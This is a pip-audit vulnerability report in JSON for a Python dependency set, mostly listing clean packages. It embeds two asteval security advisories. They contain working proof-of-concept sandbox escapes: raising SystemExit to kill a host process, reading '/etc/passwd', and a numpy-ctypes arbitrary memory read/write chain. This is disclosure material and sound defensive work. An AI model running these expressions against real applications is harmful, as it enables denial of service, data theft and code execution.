{"dependencies": [{"name": "checkov", "version": "3.3.29", "vulns": []}, {"name": "pip-audit", "version": "2.10.1", "vulns": []}, {"name": "asteval", "version": "1.0.6", "vulns": [{"id": "PYSEC-2026-3807", "fix_versions": ["1.0.9"], "aliases": ["GHSA-89v8-rhwq-hf77", "CVE-2026-55244"], "description": "## Summary  An attacker who can supply expressions to `asteval.Interpreter.eval()` can raise `SystemExit`, `KeyboardInterrupt`, `GeneratorExit`, or `BaseException` from inside the sandbox. These exceptions are subclasses of `BaseException` but not `Exception`, so they bypass the `except Exception:` safety net in both `run()` and `eval()`. The exception propagates verbatim to the calling application, terminating the process or disrupting signal and cleanup handlers.  This is distinct from prior vulnerabilities CVE-2025-24359 (format string injection) and GHSA-vp47-9734-prjw (AST mutation TOCTOU), both fixed in 1.0.6. This vector is present in all versions including 1.0.6 and current HEAD.  ---  ## Affected Code  **`asteval/astutils.py`, lines 89\u2013108** \u2014 `FROM_PY` exposes dangerous classes to sandbox users:  ```python FROM_PY = ('ArithmeticError', 'AssertionError', 'AttributeError',            'BaseException',          # \u2190 escapes except Exception:            'BufferError', 'BytesWarning',            ...            'GeneratorExit',          # \u2190 escapes except Exception:            ...            'KeyboardInterrupt',      # \u2190 escapes except Exception:            ...            'SystemExit',             # \u2190 escapes except Exception:            ...) ```  **`asteval/asteval.py`, line 322** \u2014 `run()` exception handler:  ```python except Exception:                    # \u2190 does NOT catch BaseException subclasses     if with_raise and self.expr is not None:         self.raise_exception(node, expr=self.expr) ```  **`asteval/asteval.py`, line 370** \u2014 `eval()` exception handler:  ```python except Exception:                    # \u2190 same gap     if show_errors and not raise_errors:         ... ```  **`asteval/asteval.py`, line 264** \u2014 `raise_exception()` raises the class directly:  ```python raise exc(self.error_msg)            # \u2190 when exc=SystemExit, escapes both handlers above ```  ---  ## Root Cause  Python's exception hierarchy has two distinct branches under `BaseException`:  ``` BaseException \u251c\u2500\u2500 SystemExit          \u2190 NOT caught by except Exception: \u251c\u2500\u2500 KeyboardInterrupt   \u2190 NOT caught by except Exception: \u251c\u2500\u2500 GeneratorExit       \u2190 NOT caught by except Exception: \u2514\u2500\u2500 Exception           \u2190 caught normally     \u251c\u2500\u2500 RuntimeError     \u251c\u2500\u2500 ValueError     \u2514\u2500\u2500 ... ```  `FROM_PY` exposes all four non-`Exception` classes to sandbox users. When a user writes `raise SystemExit(\"msg\")`, the `on_raise()` handler calls:  ```python self.raise_exception(None, exc=out.__class__, msg=msg, expr='') ```  which executes `raise SystemExit(msg)`. This propagates through both `except Exception:` guards unchecked and surfaces in the calling application.  ---  ## Proof of Concept  ```python from asteval import Interpreter  # Variant 1: terminate the process aeval = Interpreter() try:     aeval.eval('raise SystemExit(\"terminated by sandbox user\")') except SystemExit as e:     print(f\"[CONFIRMED] SystemExit escaped: {e.code!r}\")  # Variant 2: disrupt signal/finally handling aeval = Interpreter() try:     aeval.eval('raise KeyboardInterrupt(\"interrupt injected\")') except KeyboardInterrupt as e:     print(f\"[CONFIRMED] KeyboardInterrupt escaped: {str(e)!r}\")  # Variant 3: GeneratorExit aeval = Interpreter() try:     aeval.eval('raise GeneratorExit(\"gen escape\")') except GeneratorExit as e:     print(f\"[CONFIRMED] GeneratorExit escaped: {str(e)!r}\")  # Variant 4: BaseException base class aeval = Interpreter() try:     aeval.eval('raise BaseException(\"base escape\")') except BaseException as e:     if not isinstance(e, Exception):         print(f\"[CONFIRMED] BaseException escaped: {str(e)!r}\") ```  **Output (tested on asteval 1.0.6, Python 3.11/3.12):**  ``` [CONFIRMED] SystemExit escaped: 'terminated by sandbox user' [CONFIRMED] KeyboardInterrupt escaped: 'interrupt injected' [CONFIRMED] GeneratorExit escaped: 'gen escape' [CONFIRMED] BaseException escaped: 'base escape' ```  ### Real-world server scenario  ```python from asteval import Interpreter  def handle_request(user_expression):     aeval = Interpreter()     return aeval.eval(user_expression)   # SystemExit propagates here  # Attacker sends: raise SystemExit(1) # Application terminates. Top-level except Exception: handlers do not protect it. try:     handle_request('raise SystemExit(1)') except Exception:     pass  # <-- does NOT catch SystemExit; process exits ```  ---  ## Impact  | Variant | Impact | |---------|--------| | `SystemExit` | Process terminates; exit code and message attacker-controlled | | `KeyboardInterrupt` | Disrupts `finally` blocks, signal handlers, and `KeyboardInterrupt`-aware loops | | `GeneratorExit` | Disrupts generator cleanup in calling code | | `BaseException` | Generic escape, same propagation |  Any application that: - Accepts user-supplied expressions via `asteval` - Relies on `except Exception:` at the top level (standard practice) - Does not wrap `aeval.eval()` in `except BaseException:` (non-standard, unexpected requirement)  ...is vulnerable to attacker-triggered process termination (DoS).  CVSS breakdown: Network-reachable (AV:N), no special conditions (AC:L), no credentials (PR:N), no interaction (UI:N), scope unchanged (S:U), no confidentiality/integrity impact (C:N/I:N), high availability impact \u2014 process termination (A:H).  ---  ## Additional Note: File Read Capability (Acknowledged Limitation)  Independently of this vulnerability, `asteval` exposes a read-only `open()` wrapper (`_open` in `astutils.py`) that allows reading arbitrary files with the permissions of the calling process:  ```python aeval.eval(\"open('/etc/passwd').read()\")   # returns /etc/passwd contents ```  This is documented in `doc/motivation.rst` as a known design choice (\"If reading from disk must be forbidden, you will want to overwrite the `open()` function from the symbol table\"). It is included here for completeness, not as a separate advisory claim.  ---  ## Recommended Fix  **Option A \u2014 Remove dangerous classes from `FROM_PY` (minimal, preferred):**  ```python # asteval/astutils.py  FROM_PY = ('ArithmeticError', 'AssertionError', 'AttributeError',            # Remove: 'BaseException',            'BufferError', 'BytesWarning',            'DeprecationWarning', 'EOFError', 'EnvironmentError',            'Exception', 'False', 'FloatingPointError',            # Remove: 'GeneratorExit',            'IOError', 'ImportError', 'ImportWarning', 'IndentationError',            'IndexError', 'KeyError',            # Remove: 'KeyboardInterrupt',            'LookupError',            'MemoryError', 'NameError', 'None',            'NotImplementedError', 'OSError', 'OverflowError',            'ReferenceError', 'RuntimeError', 'RuntimeWarning',            'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError',            # Remove: 'SystemExit',            'True', 'TypeError', ...) ```  **Option B \u2014 Block non-`Exception` raises in `on_raise()`:**  ```python # asteval/asteval.py  def on_raise(self, node):     excnode = node.exc     msgnode = node.cause     out = self.run(excnode)     # Prevent BaseException subclasses from escaping the sandbox     if not issubclass(out.__class__, Exception):         self.raise_exception(node, exc=RuntimeError,                              msg=f\"raising {out.__class__.__name__!r} is not permitted\")         return     msg = ' '.join(str(a) for a in out.args)     msg2 = self.run(msgnode)     if msg2 not in (None, 'None'):         msg = f\"{msg}: {msg2}\"     self.raise_exception(None, exc=out.__class__, msg=msg, expr='') ```  Note: Option B also fixes a secondary bug on the same line \u2014 `' '.join(out.args)` crashes with `TypeError` when args contain non-strings (e.g., `raise SystemExit(0)` with integer code). The fix uses `str(a) for a in out.args`.  **Option C \u2014 Catch `BaseException` in `run()` and `eval()` (broadest, requires care):**  ```python except BaseException as exc:     if isinstance(exc, (SystemExit, KeyboardInterrupt, GeneratorExit)):         # Re-raise as RuntimeError to contain within sandbox         self.raise_exception(node, exc=RuntimeError,                              msg=f\"{type(exc).__name__} raised in sandbox\")     elif with_raise and self.expr is not None:         self.raise_exception(node, expr=self.expr) ```  Option A is the simplest and least likely to introduce regressions. Option B additionally addresses the `str.join` crash on integer args.  ---  ## Disclosure Timeline  | Date | Event | |------|-------| | 2026-06-09 | Vulnerability discovered during code review | | 2026-06-09 | Report submitted via GitHub Security Advisory | | TBD | Maintainer acknowledgment | | TBD + 90 days | Public disclosure deadline |  ---  ## Researcher  Independent security researcher. No bug bounty program exists for this project. CVE assignment requested via GitHub Security Advisory submission.  ---  ## References  - Prior CVE: CVE-2025-24359 (format string injection, fixed 1.0.6) - Prior advisory: GHSA-vp47-9734-prjw (AST mutation TOCTOU, fixed 1.0.6) - Python exception hierarchy: https://docs.python.org/3/library/exceptions.html#exception-hierarchy - `asteval` documentation: https://lmfit.github.io/asteval/"}, {"id": "GHSA-9w56-46f6-3qhx", "fix_versions": ["1.0.9"], "aliases": [], "description": "### Summary With its default configuration (numpy enabled, `import` disabled), asteval's `Interpreter` lets an attacker-controlled expression obtain a raw **arbitrary process-memory read and write** primitive, without using `import`, any `__dunder__` attribute, or `eval`/`exec`/`getattr`. Arbitrary in-process read/write is equivalent to arbitrary code execution and is a complete escape of the sandbox whose entire purpose is \"untrusted string in, no arbitrary execution out.\" Any application that feeds untrusted input to asteval with numpy installed (the default) is affected.  ### Details asteval's attribute filter (`asteval/astutils.py: safe_getattr`) blocks every `__dunder__` name and blocks objects whose attribute value is *identity-equal* to one of the modules in `UNSAFE_MODULES = {io, os, sys, ctypes}`. The `ctypes` **module** entry was added recently (commit 9d9d430) and correctly blocks `ndarray.ctypes._ctypes`.  However, the module check is identity-only against the ctypes *module*. It does not cover ctypes **type objects** and their metaclass methods, which are reachable through numpy's `ndarray.ctypes` wrapper using only ordinary (non-dunder) attribute names:      zeros(1, dtype=int32).ctypes.shape._type_      ->  <class 'ctypes.c_long'>  `ndarray.ctypes` exposes `.shape` (a ctypes array) whose element type `._type_` is `ctypes.c_long`. None of `ctypes`, `.shape`, `._type_` is a dunder, none is in `UNSAFE_ATTRS`, and the returned value is a *type*, not the ctypes module, so `safe_getattr` permits all of them.  On that ctypes type, the metaclass method `from_address` is reachable (non-dunder, not in `UNSAFE_ATTRS`; it is not even listed by `dir()`, which is likely why it was missed):  * **Arbitrary read:** `c_long.from_address(addr).value` reads 8 bytes at any address. `id()` (a permitted builtin) supplies arbitrary object addresses. * **Arbitrary write:** `cell = c_long.from_address(addr); cell.value = X` writes 8 bytes to any address. The write half rides asteval's **unfiltered `setattr`** in `Interpreter.node_assign` (the `ast.Attribute` branch performs `setattr(self.run(node.value), node.attr, val)` with no attribute-name check).  Root cause is two gaps:  1. `safe_getattr` blocks the ctypes *module* but not ctypes *types* / metaclass methods (`from_address`, `from_buffer`, `from_buffer_copy`, `in_dll`, `from_param`) reachable via `ndarray.ctypes ... ._type_`. 2. `node_assign` performs attribute writes (`setattr`) and deletes (`delattr`) with no attribute-name filtering.  This belongs to the known \"numpy is a large attack surface\" class (the docs already note `open()` read and `ndarray.tofile()` write), but this specific arbitrary memory read/write chain is undocumented and bypasses the most recent ctypes-module hardening. All previously reported escapes (CVE-2025-24359 / GHSA-3wwr-3g9f-9gc7, GHSA-vp47-9734-prjw, reduce/reduce_ex, classic `__subclasses__` traversal) are patched on the current code; this one is live.  ### PoC Self contained POC here: https://gist.github.com/thegr1ffyn/16b67c5f9b5339a7e2bdc91423ff09e3 Environment: `pip install asteval numpy` (verified on asteval 1.0.8, numpy 2.4.6, CPython 3.12.3; the chain is numpy-1.x/2.x robust). Default `Interpreter` (`use_numpy=True`, `import` disabled).  Minimal one-expression arbitrary read (reads 8 bytes at an attacker-chosen address):      zeros(1,dtype=int32).ctypes.shape._type_.from_address(id(zeros(1))).value  Minimal arbitrary write (writes 0x4142434445464748 to a chosen address; here our own array buffer, observed back through numpy):      a = zeros(2, dtype=int32)     cell = a.ctypes.shape._type_.from_address(a.ctypes.data)     cell.value = 0x4142434445464748        # -> a[0]=0x45464748, a[1]=0x41424344  A full self-contained script is attached (poc_asteval_ctypes.py); running it prints the recovered PyObject header of a private object (arbitrary read) and confirms a raw write landing at a chosen pointer (arbitrary write), all from a default, import-disabled interpreter.  ### Impact Sandbox escape / protection-mechanism failure leading to arbitrary in-process native memory read and write (RCE-equivalent). Impact:  * Disclosure of any data in the host process's address space (secrets, keys, other users' data). * Corruption of arbitrary memory -> control-flow hijack / arbitrary code execution and/or process crash (DoS).  Affected: any application that evaluates untrusted/attacker-influenced expressions with asteval while numpy is installed (the default). No authentication and no special configuration is required; `import` does not need to be enabled. Mitigation until patched: construct the interpreter with `use_numpy=False`."}]}, {"name": "bc-detect-secrets", "version": "1.5.52", "vulns": []}, {"name": "bc-jsonpath-ng", "version": "1.6.1", "vulns": []}, {"name": "bc-python-hcl2", "version": "0.4.3", "vulns": []}, {"name": "boto3", "version": "1.35.49", "vulns": []}, {"name": "dpath", "version": "2.1.3", "vulns": []}, {"name": "pycep-parser", "version": "0.5.1", "vulns": []}, {"name": "aiodns", "version": "3.6.1", "vulns": []}, {"name": "aiohttp", "version": "3.14.5", "vulns": []}, {"name": "aiomultiprocess", "version": "0.9.1", "vulns": []}, {"name": "argcomplete", "version": "3.7.2", "vulns": []}, {"name": "botocore", "version": "1.35.99", "vulns": []}, {"name": "cachetools", "version": "5.5.2", "vulns": []}, {"name": "charset-normalizer", "version": "3.5.2", "vulns": []}, {"name": "click", "version": "8.5.0", "vulns": []}, {"name": "cloudsplaining", "version": "0.7.0", "vulns": []}, {"name": "colorama", "version": "0.4.6", "vulns": []}, {"name": "configargparse", "version": "1.8.0", "vulns": []}, {"name": "cyclonedx-python-lib", "version": "7.6.2", "vulns": []}, {"name": "docker", "version": "7.2.0", "vulns": []}, {"name": "dockerfile-parse", "version": "2.0.1", "vulns": []}, {"name": "ecdsa", "version": "0.19.2", "vulns": [{"id": "PYSEC-2026-1325", "fix_versions": [], "aliases": ["GHSA-wj6h-64fc-37mp", "CVE-2024-23342"], "description": "python-ecdsa has been found to be subject to a Minerva timing attack on the P-256 curve. Using the `ecdsa.SigningKey.sign_digest()` API function and timing signatures an attacker can leak the internal nonce which may allow for private key discovery. Both ECDSA signatures, key generation, and ECDH operations are affected. ECDSA signature verification is unaffected. The python-ecdsa project considers side channel attacks out of scope for the project and there is no planned fix."}, {"id": "PYSEC-2026-1325", "fix_versions": [], "aliases": ["GHSA-wj6h-64fc-37mp", "CVE-2024-23342"], "description": "python-ecdsa has been found to be subject to a Minerva timing attack on the P-256 curve. Using the `ecdsa.SigningKey.sign_digest()` API function and timing signatures an attacker can leak the internal nonce which may allow for private key discovery. Both ECDSA signatures, key generation, and ECDH operations are affected. ECDSA signature verification is unaffected. The python-ecdsa project considers side channel attacks out of scope for the project and there is no planned fix."}]}, {"name": "gitpython", "version": "3.2.0", "vulns": []}, {"name": "gitdb", "version": "4.0.12", "vulns": []}, {"name": "importlib-metadata", "version": "7.2.1", "vulns": []}, {"name": "jmespath", "version": "1.1.0", "vulns": []}, {"name": "jsonschema", "version": "4.26.0", "vulns": []}, {"name": "junit-xml", "version": "1.9", "vulns": []}, {"name": "license-expression", "version": "30.4.4", "vulns": []}, {"name": "multidict", "version": "7.1.0", "vulns": []}, {"name": "networkx", "version": "2.6.3", "vulns": []}, {"name": "packageurl-python", "version": "0.13.4", "vulns": []}, {"name": "packaging", "version": "23.2", "vulns": []}, {"name": "platformdirs", "version": "4.13.0", "vulns": []}, {"name": "policy-sentry", "version": "0.13.2", "vulns": []}, {"name": "prettytable", "version": "3.18.0", "vulns": []}, {"name": "py-serializable", "version": "1.1.2", "vulns": []}, {"name": "defusedxml", "version": "0.7.1", "vulns": []}, {"name": "pycares", "version": "4.11.0", "vulns": []}, {"name": "pydantic", "version": "2.14.1", "vulns": []}, {"name": "pydantic-core", "version": "2.50.1", "vulns": []}, {"name": "python-dateutil", "version": "2.9.0.post0", "vulns": []}, {"name": "pyyaml", "version": "6.0.3", "vulns": []}, {"name": "requests", "version": "2.34.2", "vulns": []}, {"name": "idna", "version": "3.20", "vulns": []}, {"name": "rustworkx", "version": "0.18.1", "vulns": []}, {"name": "numpy", "version": "2.5.4", "vulns": []}, {"name": "s3transfer", "version": "0.10.4", "vulns": []}, {"name": "schema", "version": "0.7.5", "vulns": []}, {"name": "smmap", "version": "5.0.3", "vulns": []}, {"name": "sortedcontainers", "version": "2.4.0", "vulns": []}, {"name": "spdx-tools", "version": "0.8.5", "vulns": []}, {"name": "tabulate", "version": "0.9.0", "vulns": []}, {"name": "termcolor", "version": "2.3.0", "vulns": []}, {"name": "tqdm", "version": "4.70.1", "vulns": []}, {"name": "typing-extensions", "version": "4.16.0", "vulns": []}, {"name": "urllib3", "version": "2.8.0", "vulns": []}, {"name": "yarl", "version": "1.25.1", "vulns": []}, {"name": "aiohappyeyeballs", "version": "2.7.1", "vulns": []}, {"name": "aiosignal", "version": "1.4.0", "vulns": []}, {"name": "annotated-types", "version": "0.8.0", "vulns": []}, {"name": "attrs", "version": "26.1.0", "vulns": []}, {"name": "boolean-py", "version": "5.0", "vulns": []}, {"name": "cachecontrol", "version": "0.14.4", "vulns": []}, {"name": "msgpack", "version": "1.2.3", "vulns": []}, {"name": "certifi", "version": "2026.7.22", "vulns": []}, {"name": "cffi", "version": "2.1.1", "vulns": []}, {"name": "contextlib2", "version": "21.6.0", "vulns": []}, {"name": "filelock", "version": "4.1.1", "vulns": []}, {"name": "frozenlist", "version": "1.8.0", "vulns": []}, {"name": "jsonschema-specifications", "version": "2025.9.1", "vulns": []}, {"name": "lark", "version": "1.3.1", "vulns": []}, {"name": "pip-api", "version": "0.0.35", "vulns": []}, {"name": "pip-requirements-parser", "version": "32.0.1", "vulns": []}, {"name": "propcache", "version": "0.5.4", "vulns": []}, {"name": "referencing", "version": "0.37.0", "vulns": []}, {"name": "regex", "version": "2026.9.29", "vulns": []}, {"name": "rich", "version": "15.0.0", "vulns": []}, {"name": "pygments", "version": "2.21.0", "vulns": []}, {"name": "markdown-it-py", "version": "4.2.0", "vulns": []}, {"name": "mdurl", "version": "0.1.2", "vulns": []}, {"name": "rpds-py", "version": "2026.9.1", "vulns": []}, {"name": "six", "version": "1.17.0", "vulns": []}, {"name": "tomli", "version": "2.5.0", "vulns": []}, {"name": "tomli-w", "version": "1.2.0", "vulns": []}, {"name": "typing-inspection", "version": "0.4.4", "vulns": []}, {"name": "wcwidth", "version": "0.9.2", "vulns": []}, {"name": "zipp", "version": "4.1.1", "vulns": []}, {"name": "beartype", "version": "0.23.1", "vulns": []}, {"name": "beautifulsoup4", "version": "4.15.0", "vulns": []}, {"name": "soupsieve", "version": "3.0.3", "vulns": []}, {"name": "cached-property", "version": "2.0.1", "vulns": []}, {"name": "click-option-group", "version": "0.5.9", "vulns": []}, {"name": "decorator", "version": "5.3.1", "vulns": []}, {"name": "jinja2", "version": "3.1.6", "vulns": []}, {"name": "markupsafe", "version": "3.0.4", "vulns": []}, {"name": "markdown", "version": "3.11.1", "vulns": []}, {"name": "orjson", "version": "3.13.0", "vulns": []}, {"name": "ply", "version": "3.11", "vulns": []}, {"name": "pycparser", "version": "3.11", "vulns": []}, {"name": "pyparsing", "version": "3.3.3", "vulns": []}, {"name": "rdflib", "version": "7.6.0", "vulns": []}, {"name": "semantic-version", "version": "2.10.0", "vulns": []}, {"name": "unidiff", "version": "1.0.1", "vulns": []}, {"name": "uritools", "version": "6.1.3", "vulns": []}, {"name": "xmltodict", "version": "1.0.4", "vulns": []}], "fixes": []}